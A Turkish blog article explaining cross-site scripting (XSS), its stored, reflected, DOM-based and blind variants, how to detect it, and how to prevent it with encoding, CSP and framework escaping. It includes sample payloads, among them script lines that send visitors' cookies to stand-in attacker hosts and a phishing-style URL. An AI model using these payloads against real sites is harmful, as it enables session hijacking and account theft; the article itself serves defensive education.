1. Anasayfa
  2. Blog
  3. Nedir

XSS Nedir ve XSS Saldırıları Nasıl Önlenir?

XSS Nedir ve XSS Saldırıları Nasıl Önlenir?

Her gün yüzlerce, belki binlerce kullanıcı web sitenizdeki formlara bilgi giriyor, yorum yapıyor, arama kutularını kullanıyor. Peki ya bu kullanıcılardan biri bir yorum kutusuna, aslında sitenize zarar verecek zararlı kod gizlerse? İşte Cross-Site Scripting (XSS) saldırıları tam olarak böyle çalışıyor.

XSS saldırısı, basitçe söylemek gerekirse, saldırganların bir web sitesine zararlı komut dosyalarının enjekte edilmesiyle yapılan bir güvenlik açığıdır. Bu kodlar, sitenizi ziyaret eden kullanıcıların hassas bilgilerine (finansal veriler, kimlik bilgileri, oturum açma bilgileri vs.) erişim amaçlı kullanılabilir. Korkunç olan ise, kullanıcılar bu durumun farkına bile varmayabilir!

XSS Nedir?

Cross-Site Scripting (XSS), web uygulamalarında bulunan güvenlik açıklarından yararlanarak zararlı script’lerin (genellikle JavaScript) kullanıcıların tarayıcılarında çalıştırılmasıdır. Bu saldırı türünün tehlikeli yanı, kodların sizin sunucunuzda değil, kullanıcının tarayıcısında çalışmasıdır. Yani saldırgan, sitenize güvenen kullanıcıları hedef alır.

Düşünün ki bir alışveriş sitesi işletiyorsunuz. Saldırgan, ürün yorumları bölümüne zararlı kod içeren bir yorum bırakıyor. Bu yorumu gören her kullanıcının tarayıcısında kod çalışıyor ve kullanıcıların oturum çerezleri Sonuç? Saldırgan, kullanıcıların hesaplarına erişim sağlayabiliyor ve onlar adına işlem yapabiliyor.

📌 Örneğin; bir yorum formu ile XSS saldırısı genellikle şu şekilde gerçekleştirilir:

  • Hacker web sitenizde bir hesap oluşturur. Ardından, yorum alanınızda saklanan bir XSS açığı olup olmadığını kontrol eder.
  • Eğer sistem HTML etiketlerini filtrelemiyorsa, kullanıcıdan gelen yorumlardaki script etiketleri olduğu gibi çalıştırılır.
  • Bu durumda saldırgan, örneğin şöyle bir yorum bırakabilir: <script>document.location='http://kotu-site.com/cerez?data='+document.cookie</script>
  • Bu yorum yayınlandıktan sonra sayfayı ziyaret eden herhangi bir kullanıcı bu yorumla karşılaştığında, içindeki JavaScript dosyası otomatik olarak çalışır.
  • Sonuç olarak, kullanıcının oturum bilgilerini içeren çerezler saldırganın sunucusuna gönderilir. Böylece saldırgan, o kullanıcıyı taklit ederek sisteme giriş yapabilir.

XSS’in tehlikeli olmasının bir diğer nedeni, saldırganların bu yöntemle yapabileceklerinin çeşitliliğidir. Sadece veri çalmakla kalmaz, kullanıcıları sahte login sayfalarına yönlendirebilir, web sayfanızın görünümünü değiştirebilir, kullanıcıların tarayıcılarını botnet’in bir parçası haline getirebilir veya zararlı yazılım indirtebilirler.

XSS saldırılarını anlamak ve önlemek düşündüğünüz kadar karmaşık değil. Doğru yöntemleri öğrendiğinizde, sitenizi bu tehdide karşı oldukça iyi koruyabilirsiniz.

XSS Saldırı Türleri Nelerdir?

XSS saldırıları tek tip değildir. Saldırganların kullandığı farklı yöntemler ve teknikler vardır. Her birinin çalışma prensibi ve tehlike düzeyi farklıdır.

  1. Stored XSS (Saklanan): En tehlikeli XSS türüdür. Zararlı kod veritabanına kaydedilir ve her kullanıcıya gösterilir. Yorum sistemleri, forum mesajları ve kullanıcı profilleri ana hedeflerdir. Kalıcıdır ve sürekli zarar verir. Tüm ziyaretçileri etkiler. Tespit edilmesi zordur.
  2. Reflected XSS (Yansıyan): En yaygın XSS türüdür. Saldırgan, zararlı kodu URL parametrelerinde veya form verilerinde gönderir ve sunucu bu veriyi filtrelemeden kullanıcıya geri döndürür. Genellikle phishing e-postalarıyla yayılır. Tek kullanımlıktır, kalıcı değildir. Arama kutularında sıkça görülür.
  3. DOM-Based XSS: Bu tür XSS, Tamamen tarayıcı tarafında gerçekleşir. Sunucu hiç dahil olmaz. JavaScript kodunun DOM’u (Document Object Model) güvenli olmayan şekilde manipüle etmesiyle oluşur. Sunucu loglarında görünmez. Modern web uygulamalarında yaygın. Tespit edilmesi çok zordur.
  4. Blind XSS: Kalıcı XSS ​​güvenlik açıklarının bir türüdür. Saldırganın zararlı bir kodu girdi olarak sunucuya göndermesi ve bu kodun, uygulamanın başka bir sayfasında veya tamamen farklı bir uygulamada çalıştırılmasına neden olacak şekilde kaydedilmesiyle meydana gelir. Özellikle destek sohbetleri, forumlar, iletişim formları gibi kullanıcı etkileşimli alanlarda ve hatta yöneticiler tarafından farklı bir web uygulaması üzerinden yönetilen sistemlerde sıkça rastlanan bir güvenlik açığıdır.

Bu xss saldırı türlerinin ortak noktası; kullanıcı girdilerinin doğru şekilde işlenmemesi. Ancak saldırı vektörleri ve etki alanları farklıdır. Reflected XSS’te saldırgan kurbanı özel olarak hazırlanmış bir linke tıklamaya ikna etmelidir. Stored XSS’te ise kod bir kere yüklenir ve sonsuza kadar (veya silinene kadar) tüm kullanıcıları etkiler. DOM-Based XSS ise daha teknik bilgi gerektirir ama aynı derecede tehlikelidir.

XSS Saldırısının Sonuçları

XSS saldırılarının sonuçları sadece teknik sorunlarla sınırlı değil. Bir XSS açığı, domino etkisi yaratarak birçok alanda ciddi zararlara yol açabilir. Gelin bu zararları kategorilere ayırarak inceleyelim:

  • Kullanıcılar İçin Zararlar:
    • Kişisel Veri Hırsızlığı: Kullanıcı adları, şifreler, kredi kartı bilgileri, adres bilgileri gibi hassas veriler çalınabilir
    • Hesap Ele Geçirme: Oturum çerezlerinin çalınmasıyla saldırganlar kullanıcıların hesaplarına tam erişim sağlayabilir
    • Kimlik Hırsızlığı: Çalınan bilgiler kullanılarak kullanıcı adına işlemler yapılabilir, dolandırıcılık gerçekleştirilebilir
    • Zararlı Yazılım Bulaşması: Kullanıcıların cihazlarına trojan, keylogger gibi zararlı yazılımlar yüklenebilir.
  • Site Sahipleri İçin Zararlar:
    • KVKK cezaları (Türkiye’de 2 milyona kadar)
    • Yasal davalar ve tazminat ödemeleri
    • Güvenlik açığını kapatma maliyeti
    • Müşteri telafisi ve kompanzasyon
    • Marka itibarının zedelenmesi
    • Müşteri güveninin kaybı
    • Medyada olumsuz haberler
    • SEO ve arama sıralamasında düşüş.

XSS Açıklarını Tespit Etme Yolları

XSS açıklarını tespit etmek, onları kapatmak kadar önemlidir. Peki sitenizde XSS açığı olup olmadığını nasıl anlarsınız? İşte hem manuel hem de otomatik tespit yöntemleri:

  • Manuel Test Yöntemleri: Kendiniz basit testler yaparak sitenizde açık olup olmadığını kontrol edebilirsiniz. Her form alanına, arama kutusuna ve kullanıcı girdisi alan yere şu test kodlarını deneyin:
    • Temel Alert Testi<script>alert('XSS')</script> (En basit test. Eğer ekranda “XSS” yazan bir uyarı penceresi görürseniz, sitenizde XSS açığı var demektir.)
    • IMG Tag Testi<img src=x onerror=alert('XSS')> (Script tag’i filtreleniyorsa bile, img tag’i ile bypass edilebilir. Bu testi de mutlaka yapın.)
    • Event Handler Testi<body onload=alert('XSS')> (Daha sofistike bir test. Bazı filtreler bunu atlatamaz.)
  • Otomatik Test Araçları: Manuel testler önemli ama zaman alıcıdır. Otomatik güvenlik tarama araçları, sitenizi saniyeler içinde binlerce farklı XSS vektörüyle test edebilir:
Araç AdıTürFiyatÖne Çıkan Özellik
OWASP ZAPAçık KaynakÜcretsizKullanımı kolay, güçlü scanner
Burp SuiteProfesyonelÜcretliEn kapsamlı test araçları
AcunetixOtomatikÜcretliOtomatik tarama ve raporlama
XSSerAçık KaynakÜcretsizXSS’e özel, komut satırı

📌 Bu araçları kullanırken dikkat edilmesi gereken önemli bir nokta: kendi sitenizde test yapın! Başkasının sitesinde izinsiz güvenlik testi yapmak yasadışıdır ve ciddi sonuçları olabilir.

  • Tarayıcı Geliştirici Araçları: Chrome, Firefox gibi tarayıcıların geliştirici araçları (F12) da XSS testi için kullanışlıdır. Console sekmesine JavaScript kodları yazarak, sayfanın DOM yapısını inceleyerek ve Network sekmesinden gönderilen/alınan verileri kontrol ederek potansiyel açıkları bulabilirsiniz.

XSS Saldırıları Nasıl Önlenir?

Gizli doğaları nedeniyle XSS saldırıları (XSS attack) genellikle uzun süre fark edilmez. Özellikle forumlar ve bloglar bu tür saldırılara daha sık maruz kalır. Ancak, web sitenizi ve sunucunuzu bu güvenlik açığından korumanız için kullanabileceğiniz birkaç basit ve etkili yöntem mevcut. Bu yöntemleri doğru uyguladığınızda siteniz XSS’e karşı oldukça güvenli hale gelir.

  • Output Encoding (Çıktı Kodlama)– Kullanıcıdan gelen veriyi ekrana yazdırırken, HTML özel karakterlerini encode edin. Bu en etkili savunma yöntemidir.
  • Input Validation (Girdi Doğrulama)– Her kullanıcı girdisini doğrulayın. Sadece beklediğiniz formatta veri kabul edin. E-posta için e-posta formatı, telefon için rakamlar, vb.
  • CSP Kullanımı– Content Security Policy header’ları kullanarak hangi script’lerin çalışabileceğini kontrol edin. İnline script’leri engelleyin.
  • Sanitization (Temizleme)– HTML içeriğine izin vermek zorundaysanız, güvenilir kütüphaneler kullanarak zararlı kodları temizleyin.

# Output Encoding

En kritik koruma yöntemi output encoding’dir. Kullanıcıdan gelen her veriyi ekrana yazdırmadan önce encode etmelisiniz. HTML özel karakterleri şu şekilde dönüştürülür:

Encoding Öncesi (Tehlikeli)Neden Önemli?
< → <
> → >
" → "
' → '
& → &
Bu dönüşüm sayesinde, saldırganın gönderdiği <script> tag’i, tarayıcı tarafından kod olarak değil, düz metin olarak yorumlanır ve çalışmaz.

# Programlama Diline Göre Çözümler

  • PHP: htmlspecialchars() veya htmlentities() fonksiyonlarını kullanın. Her echo/print işleminde mutlaka uygulayın.
  • JavaScript: DOMPurify gibi kütüphaneler kullanın. innerHTML yerine textContent kullanmayı tercih edin.
  • Python (Django): Django’nun otomatik escaping özelliği varsayılan olarak açıktır, kapatmayın. {% autoescape on %} kullanın.
  • Node.js: Express.js kullanıyorsanız, helmet middleware’ini kurun. Template engine’lerinin escape özelliklerini aktif tutun.

Hiçbir zaman kendiniz encoding fonksiyonu yazmaya çalışmayın. Yerleşik fonksiyonlar veya güvenilir kütüphaneler kullanın çünkü bunlar yıllardır test edilmiş ve güvenilir hale getirilmiştir.

# Content Security Policy (CSP) ile Güçlü Koruma

Content Security Policy (CSP), XSS’e karşı en güçlü savunma mekanizmalarından biridir. CSP, web sitenizde hangi kaynakların yüklenebileceğini ve hangi script’lerin çalışabileceğini kontrol etmenizi sağlayan bir HTTP header’ıdır. CSP’yi aktif ettiğinizde, tarayıcıya “sadece şu kaynaklardan gelen script’leri çalıştır” demiş olursunuz. Saldırgan XSS açığı bulup zararlı kod enjekte etse bile, CSP sayesinde bu kod çalışmaz çünkü izin verilen kaynaklar listesinde değildir.

  • Standart Durum– Her türlü script çalışabilir, saldırganın kodu da dahil
  • CSP Eklenir– Sadece belirlenen kaynaklardan script’ler yüklenir
  • XSS Engellenir– Zararlı inline script’ler ve harici kötü script’ler çalışmaz

İşte farklı güvenlik seviyelerinde CSP örnekleri:

  • Temel CSP (Başlangıç Seviyesi): Bu kuralla, tüm kaynaklar (script, stil, resim vb.) sadece kendi domaininizden yüklenebilir. Inline script’ler ve harici kaynaklar engellenir:
Content-Security-Policy: default-src 'self';
  • Orta Seviye CSP: Bu konfigürasyon daha esnek. Kendi domaininiz ve Cloudflare CDN’den script’lere izin verir, inline CSS’e izin verir (modern frameworkler için gerekli olabilir), resimlerin HTTPS üzerinden yüklenebilmesine izin verir:
Content-Security-Policy: 
  default-src 'self'; 
  script-src 'self' https://cdnjs.cloudflare.com; 
  style-src 'self' 'unsafe-inline'; 
  img-src 'self' data: https:;
  • İleri Seviye CSP (Maksimum Güvenlik): En güvenli konfigürasyon. Her şey varsayılan olarak engellidir. Script’ler için nonce (tek kullanımlık token) sistemi kullanılır. Sadece açıkça izin verilen kaynaklar yüklenir.
Content-Security-Policy: 
  default-src 'none'; 
  script-src 'self' 'nonce-{random}'; 
  style-src 'self'; 
  img-src 'self' https:; 
  font-src 'self'; 
  connect-src 'self'; 
  frame-ancestors 'none'; 
  base-uri 'self'; 
  form-action 'self';
  • Peki CSP’yi Nasıl Uygularsınız?
    • Apache (.htaccess): Header set Content-Security-Policy "default-src 'self';"
    • Nginx: add_header Content-Security-Policy "default-src 'self';" always;
    • HTML Meta Tag ile: <meta http-equiv="Content-Security-Policy" content="default-src 'self';"> (Meta tag yöntemi bazı direktifleri desteklemez, sunucu header’ı tercih edilir.)

⚠️ CSP’yi ilk kez uygularken dikkatli olun! Çok sıkı bir politika, sitenizin bazı özelliklerini bozabilir. Bu yüzden önce Content-Security-Policy-Report-Only modu kullanarak test edin. Bu mod, ihlalleri sadece raporlar ama engellemez, böylece neyin bozulduğunu görebilirsiniz.

# Framework ve CMS Bazlı XSS Koruması

Hangi platformda çalıştığınız, XSS koruması konusunda büyük fark yaratır. Her popüler framework ve CMS’in kendine özgü güvenlik mekanizmaları ve dikkat edilmesi gereken noktaları vardır.

  • WordPress– WordPress’te XSS koruması için mutlaka şunları yapın:
    • esc_html(), esc_attr(), esc_url() fonksiyonlarını kullanın.
    • Tema ve eklentileri düzenli güncelleyin.
    • Güvenlik eklentileri kurun.
    • Kullanıcı rollerini sınırlayın, yönetici sayısını azaltın.
  • React– React varsayılan olarak XSS’e karşı oldukça güvenlidir ama dikkat edilecek noktalar var:
    • dangerouslySetInnerHTML kullanımından kaçının.
    • Kullanıcı girdilerini props olarak geçirirken DOMPurify kullanın.
    • href‘e kullanıcı girdisi koyuyorsanız javascript: protokolünü engelleyin.
  • Laravel– Laravel güvenlik odaklı bir framework’tür:
    • Blade template engine otomatik escaping yapar: {{ $variable }}
    • Raw HTML için {!! $variable !!} kullanıyorsanız çok dikkatli olun.
    • CSRF korumasını devre dışı bırakmayın.
    • Validator rules’u kullanarak girdi doğrulama yapın.

# E-Ticaret Platformlarında XSS Koruması

E-ticaret siteleri hassas müşteri bilgileri içerdiği için XSS saldırılarına karşı ekstra dikkatli olmalıdır:

  • Ürün Açıklamaları– Ürün açıklamalarında HTML’e izin veriyorsanız, DOMPurify veya HTMLPurifier gibi kütüphaneler kullanarak temizleyin. Sadece güvenli tag’lere izin verin.
  • Yorum ve Değerlendirmeler– Kullanıcı yorumları Stored XSS için birinci hedeftir. Her yorumu kaydetmeden önce sanitize edin ve görüntülerken encode edin.
  • Ödeme Sayfaları– Ödeme formlarında hiç HTML’e izin vermeyin. Sadece düz metin kabul edin. Mümkünse güvenilir ödeme gateway’leri (iyzico, PayTR vb.) kullanın.

# API ve AJAX Güvenliği

Modern web uygulamaları AJAX ile çalışır. API’lerinizi de XSS’e karşı korumanız gerekir:

  • API response’larını JSON formatında döndürün, Content-Type: application/json header’ı ekleyin
  • CORS (Cross-Origin Resource Sharing) politikalarını doğru yapılandırın
  • API’den dönen veriyi DOM’a eklemeden önce mutlaka validate ve sanitize edin
  • Rate limiting uygulayarak otomatik saldırıları zorlaştırın

📌 Frontend’de aldığınız tüm önlemler önemlidir ama asıl koruma backend’de olmalıdır. “Never trust user input” (kullanıcı girdisine asla güvenme) prensibi her zaman geçerlidir.

XSS Saldırı Örnekleri

# Örnek 1: Yorum Kutusu Saldırısı (Stored XSS)

  • Saldırı Senaryosu– Bir blog sitesinde, saldırgan yorum bölümüne şu zararlı kodu yapıştırıyor:
<script>
document.location='http://saldirgan.com/cokies.php?c='+document.cookie;
</script>
  • Bu kod, her ziyaretçinin çerezlerini (oturum bilgilerini) saldırganın sunucusuna gönderiyor.
  • Bunun sonucunda ne oluyor?
    • Zararlı yorum veritabanına kaydediliyor
    • Her kullanıcı blog yazısını açtığında kod çalışıyor
    • Kullanıcıların oturum bilgileri çalınıyor
    • Saldırgan bu bilgilerle hesaplara giriş yapabiliyor

# Örnek 2: Sahte Giriş Sayfası (Reflected XSS)

  • E-posta ile gelen bir link şöyle görünüyor:
https://bankaniz.com/search?q=<script>alert('Oturumunuz sonlanmıştır, lütfen tekrar giriş yapın');</script>
  • Kullanıcı bu linke tıkladığında, sahte bir uyarı mesajı görüyor ve saldırgan tarafından hazırlanmış sahte giriş formuna yönlendiriliyor. Kullanıcı bilgilerini girdiğinde, direkt saldırganın eline geçiyor.

# Örnek 3: Arama Kutusu Açığı

  • Birçok site, arama sonuçları sayfasında “X için sonuçlar” şeklinde arama terimini gösterir. Eğer arama terimi filtrelenmiyorsa, zararlı kod doğrudan sayfaya yansır ve çalışır.

Bu örnekler gösteriyor ki, XSS saldırıları oldukça basit ama etkili. Saldırganlar karmaşık hackleme teknikleri kullanmak zorunda değiller; çoğu zaman basit bir script tag’i bile yeterli oluyor. Bu yüzden her kullanıcı girdisini potansiyel tehdit olarak görmelisiniz.

XSS Koruması: Kontrol Listesi

XSS saldırılarına karşı kapsamlı bir koruma için izlemeniz gereken adımları özetleyelim. Bu kontrol listesini sitenizde tek tek kontrol edin:

  • Tüm kullanıcı girdilerini encode edin– Her form, her yorum kutusu, her arama alanı – hiçbirini atlamayın. Çıktıları gösterirken htmlspecialchars, esc_html gibi fonksiyonlar kullanın.
  • Content Security Policy uygulayın– CSP header’ı ekleyin. Önce report-only modda test edin, sonra aktif edin. Inline script’leri mümkünse tamamen engelleyin.
  • Framework güvenlik özelliklerini kullanın– Kullandığınız framework’ün otomatik escaping, validation ve sanitization özelliklerini aktif tutun. Güvenlik önlemlerini devre dışı bırakmayın.
  • Düzenli güvenlik testleri yapın– Ayda bir otomatik scanner ile sitenizi kontrol edin. Yeni özellik ekledikten sonra mutlaka manuel test yapın.
  • Güncellemeleri takip edin– CMS, eklentiler, kütüphaneler vb. her şeyi güncel tutun. Güvenlik yamalarını hemen uygulayın.
  • Güvenlik eğitimi alın ve verin- Ekibinizdeki tüm geliştiriciler XSS’i bilmeli. Kod review süreçlerinde güvenlik kontrolü yapın.
  • Son olarak, web sitenizin genel güvenliğini sağlamak için şu kılavuzumuzdan da faydalanın: WordPress Güvenlik Önlemleri: Web Site Güvenliği Nasıl Sağlanır?

Web güvenliği sadece teknik bir konu değil, kullanıcılarınıza olan sorumluluğunuzdur. Onların kişisel verilerini, finansal bilgilerini ve güvenini korumak sizin elinizde. XSS korumasını ihmal etmek, bir zaman bombası taşımak gibidir; ne zaman patlayacağı belli olmaz ama patladığında sonuçları ağır olur.

Editör Notu: İçeriğimiz okuyucu desteğiyle finanse edilmektedir. Bu, bağlantılarımızdan bazılarına tıkladığınızda komisyon kazanabileceğimiz anlamına gelir.

Burada sadece teorik bilgiler değil, gerçek deneyimlere dayanan pratik çözümler var. Burada yol arkadaşı olacağız. Karmaşık konuları birlikte çözecek, teknik detayları birlikte aşacağız...

Yazarın Profili